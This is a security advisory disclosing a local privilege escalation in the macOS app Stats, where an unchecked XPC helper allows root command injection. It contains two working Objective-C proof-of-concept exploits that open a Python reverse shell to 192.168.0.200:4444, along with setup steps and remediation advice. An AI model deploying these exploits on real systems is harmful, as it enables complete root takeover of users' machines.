# Stats  < v2.11.22 Local Privilege Escalation

### **Description**

The Stats application is vulnerable to a local privilege escalation due to the insecure implementation of its XPC service. The application registers a Mach service under the name `eu.exelban.Stats.SMC.Helper`. The associated binary, eu.exelban.Stats.SMC.Helper, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client, such as setting fan modes, adjusting fan speeds, and executing the `powermetrics` command.

The root cause of this vulnerability lies in the `shouldAcceptNewConnection` method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. As a result, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperTool interface.

```c
    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection connection: NSXPCConnection) -> Bool {
        connection.exportedInterface = NSXPCInterface(with: HelperProtocol.self)
        connection.exportedObject = self
        connection.invalidationHandler = {
            if let connectionIndex = self.connections.firstIndex(of: connection) {
                self.connections.remove(at: connectionIndex)
            }
            if self.connections.isEmpty {
                self.shouldQuit = true
            }
        }
        
        self.connections.append(connection)
        connection.resume()
        
        return true
    }
```

Among the exposed methods, `setFanMode` and `setFanSpeed` can destabilize the user's device and even pose physical risks, such as overheating or system instability.

```c
    func setFanMode(id: Int, mode: Int, completion: @escaping (String?) -> Void)
    func setFanSpeed(id: Int, value: Int, completion: @escaping (String?) -> Void)
```

The `powermetrics` method is particularly dangerous as it is vulnerable to a `command injection vulnerability`, allowing the execution of arbitrary code with root privileges. This effectively grants attackers full control over the system.

```c
    func powermetrics(_ samplers: [String], completion: @escaping (String?) -> Void) {
        let result = syncShell("powermetrics -n 1 -s \(samplers.joined(separator: ",")) --sample-rate 1000")
        if let error = result.error, !error.isEmpty {
            NSLog("error call powermetrics: \(error)")
            completion(nil)
            return
        }
        completion(result.output)
    }
    
    public func syncShell(_ args: String) -> (output: String?, error: String?) {
        let task = Process()
        task.launchPath = "/bin/sh"
        task.arguments = ["-c", args]
        
        let outputPipe = Pipe()
        let errorPipe = Pipe()
        
        defer {
            outputPipe.fileHandleForReading.closeFile()
            errorPipe.fileHandleForReading.closeFile()
        }
        
        task.standardOutput = outputPipe
        task.standardError = errorPipe
        
        do {
            try task.run()
        } catch let err {
            return (nil, "syncShell: \(err.localizedDescription)")
        }
        
        let outputData = outputPipe.fileHandleForReading.readDataToEndOfFile()
        let errorData = errorPipe.fileHandleForReading.readDataToEndOfFile()
        let output = String(data: outputData, encoding: .utf8)
        let error = String(data: errorData, encoding: .utf8)
        
        return (output, error)
    }
```

Except powermetrics method, command injection can also be achieved by chained call.

The `setSMCPath` method can be used to store an arbitrary command string, which is then directly interpolated into shell commands in both `setFanSpeed` and `setFanMode` methods via the expressions `syncShell("\(smc) fan \(id) -v \(value)")` and `syncShell("\(smc) fan \(id) -m \(mode)")`. This creates additional paths for privilege escalation.

For reference, I've included a proof-of-concept that demonstrates this vulnerability chain:

```c
#import <Foundation/Foundation.h>

@protocol HelperProtocol

- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;

@end

int main()
{
    NSString*  service_name = @"eu.exelban.Stats.SMC.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];
    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
               {
                 NSLog(@"[-] Something went wrong");
                 NSLog(@"[-] Error: %@", error);
               }
             ];
    NSLog(@"Objection Info: %@", obj);
    NSLog(@"Connection Info: %@", connection);

    NSLog(@"Triggering a root reverse shell\n");

    NSString* path = @"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";


    [obj setSMCPath:path];
    sleep(3);
    [obj setFanSpeedWithId:1 value:2000 completion:^(NSString * _Nullable result) {
    if (result) {
        NSLog(@"Result: %@", result);
    } else {
        NSLog(@"An error occurred.");
    }
}];

    NSLog(@"Enjoy the root shell : )\n");

}
```

[![image.png](https://winslow1984.com/uploads/images/gallery/2025-01/scaled-1680-/image.png)](https://winslow1984.com/uploads/images/gallery/2025-01/image.png)

### **Impact**

An attacker can exploit this vulnerability to modify the hardware settings of the user’s device and execute arbitrary code with root privileges.

### **Reproduction**

To avoid potential hardware damage, this demonstration focuses solely on the attack path to obtain root privileges without altering the device's hardware settings.

Step 1: Below is a custom XPC client (exploit) to demonstrate the issue. Feel free to change the value of `maliciousSamplers` to include different command payloads:

```c
#import <Foundation/Foundation.h>

@protocol HelperProtocol

- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;

@end

int main()
{
    NSString*  service_name = @"eu.exelban.Stats.SMC.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];
    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
               {
                 NSLog(@"[-] Something went wrong");
                 NSLog(@"[-] Error: %@", error);
               }
             ];
    NSLog(@"Objection: %@", obj);
    NSLog(@"Connection: %@", connection);

    
    NSArray<NSString *> *maliciousSamplers = @[@"cpu_power", @"gpu_power; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);';"];

    [obj powermetrics:maliciousSamplers completion:^(NSString * _Nullable result) {
      if (result) {
          NSLog(@"Result: %@", result);
      } else {
         NSLog(@"An error occurred.");
      }
    }];

    NSLog(@"Exploitation completed\n");

}
```

Step 2: To simulate an attacker’s Command and Control (C2) server, set up a netcat listener on another host.

[![image](https://private-user-images.githubusercontent.com/33692631/394482983-c03e4c77-0692-4eed-ba3a-ee1170ed5408.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU3Njg4NzIsIm5iZiI6MTczNTc2ODU3MiwicGF0aCI6Ii8zMzY5MjYzMS8zOTQ0ODI5ODMtYzAzZTRjNzctMDY5Mi00ZWVkLWJhM2EtZWUxMTcwZWQ1NDA4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAxMDElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMTAxVDIxNTYxMlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWQyZmIyMTFmM2VmMGFiOGNlMDRlMThmMjA5ZWU4NTIxOGFiZTNiM2M1N2RjMzUyM2MwZDM3ZDNiMDM4MTc0NTUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.beqw9eLFGA3LpwQRkTNYE_-uX1yBI5DPZdFvuU3xksQ)](https://private-user-images.githubusercontent.com/33692631/394482983-c03e4c77-0692-4eed-ba3a-ee1170ed5408.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU3Njg4NzIsIm5iZiI6MTczNTc2ODU3MiwicGF0aCI6Ii8zMzY5MjYzMS8zOTQ0ODI5ODMtYzAzZTRjNzctMDY5Mi00ZWVkLWJhM2EtZWUxMTcwZWQ1NDA4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAxMDElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMTAxVDIxNTYxMlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWQyZmIyMTFmM2VmMGFiOGNlMDRlMThmMjA5ZWU4NTIxOGFiZTNiM2M1N2RjMzUyM2MwZDM3ZDNiMDM4MTc0NTUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.beqw9eLFGA3LpwQRkTNYE_-uX1yBI5DPZdFvuU3xksQ)

Step 3: Compile and execute the exploit, and we will quickly gain a root reverse shell.

[![image](https://private-user-images.githubusercontent.com/33692631/394483483-8bfb1d60-2292-49f1-b766-608cb283974e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU3Njg4NzIsIm5iZiI6MTczNTc2ODU3MiwicGF0aCI6Ii8zMzY5MjYzMS8zOTQ0ODM0ODMtOGJmYjFkNjAtMjI5Mi00OWYxLWI3NjYtNjA4Y2IyODM5NzRlLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAxMDElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMTAxVDIxNTYxMlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTAzN2M0M2M3NzkzMThhOTQxMWJiYjg2OWQ4YjgxMzgyYmUxMWZjY2Q3NDA4ZjI5Y2QzZGIzYjdhN2Q0NDU4ZTUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.4gu2bUOsSbsDbHpSrP36PPuygM6we-1b5VGQUfh0I7U)](https://private-user-images.githubusercontent.com/33692631/394483483-8bfb1d60-2292-49f1-b766-608cb283974e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU3Njg4NzIsIm5iZiI6MTczNTc2ODU3MiwicGF0aCI6Ii8zMzY5MjYzMS8zOTQ0ODM0ODMtOGJmYjFkNjAtMjI5Mi00OWYxLWI3NjYtNjA4Y2IyODM5NzRlLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAxMDElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMTAxVDIxNTYxMlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTAzN2M0M2M3NzkzMThhOTQxMWJiYjg2OWQ4YjgxMzgyYmUxMWZjY2Q3NDA4ZjI5Y2QzZGIzYjdhN2Q0NDU4ZTUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.4gu2bUOsSbsDbHpSrP36PPuygM6we-1b5VGQUfh0I7U)

[![image](https://private-user-images.githubusercontent.com/33692631/394483629-8ce2e778-5b83-4c73-a826-9e71f67f3610.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU3Njg4NzIsIm5iZiI6MTczNTc2ODU3MiwicGF0aCI6Ii8zMzY5MjYzMS8zOTQ0ODM2MjktOGNlMmU3NzgtNWI4My00YzczLWE4MjYtOWU3MWY2N2YzNjEwLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAxMDElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMTAxVDIxNTYxMlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTlmNTEzOGM0ODZjNzFkZWViMjIyZDUxZWQ0MDM0YzBiNzFmMDY5ZWViZGQyNDRjNzQ1ZDBjZGFmMzQzZjZhNjgmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.FIdE1azBopPgwL21epqt2Rmlm__0JZ13W2Gv9Q-iJkM)](https://private-user-images.githubusercontent.com/33692631/394483629-8ce2e778-5b83-4c73-a826-9e71f67f3610.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU3Njg4NzIsIm5iZiI6MTczNTc2ODU3MiwicGF0aCI6Ii8zMzY5MjYzMS8zOTQ0ODM2MjktOGNlMmU3NzgtNWI4My00YzczLWE4MjYtOWU3MWY2N2YzNjEwLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAxMDElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMTAxVDIxNTYxMlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTlmNTEzOGM0ODZjNzFkZWViMjIyZDUxZWQ0MDM0YzBiNzFmMDY5ZWViZGQyNDRjNzQ1ZDBjZGFmMzQzZjZhNjgmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.FIdE1azBopPgwL21epqt2Rmlm__0JZ13W2Gv9Q-iJkM)


### **Recommendation**

Implement robust client verification mechanisms, including `code signing` checks and `audit token` (PID is not secure) verification. Some good examples of secure client validation can be found in [https://github.com/imothee/tmpdisk/blob/2572a5e738ba96d1d0ea545d620078410db62148/com.imothee.TmpDiskHelper/XPCServer.swift#L70](https://github.com/imothee/tmpdisk/blob/2572a5e738ba96d1d0ea545d620078410db62148/com.imothee.TmpDiskHelper/XPCServer.swift#L70), [https://github.com/mhaeuser/Battery-Toolkit/blob/4b9a74bf1c31a57d78eb351b69fe09b861252f60/Common/BTXPCValidation.swift](https://github.com/mhaeuser/Battery-Toolkit/blob/4b9a74bf1c31a57d78eb351b69fe09b861252f60/Common/BTXPCValidation.swift), [https://github.com/duanefields/VirtualKVM/blob/master/VirtualKVM/CodesignCheck.swift](https://github.com/duanefields/VirtualKVM/blob/master/VirtualKVM/CodesignCheck.swift).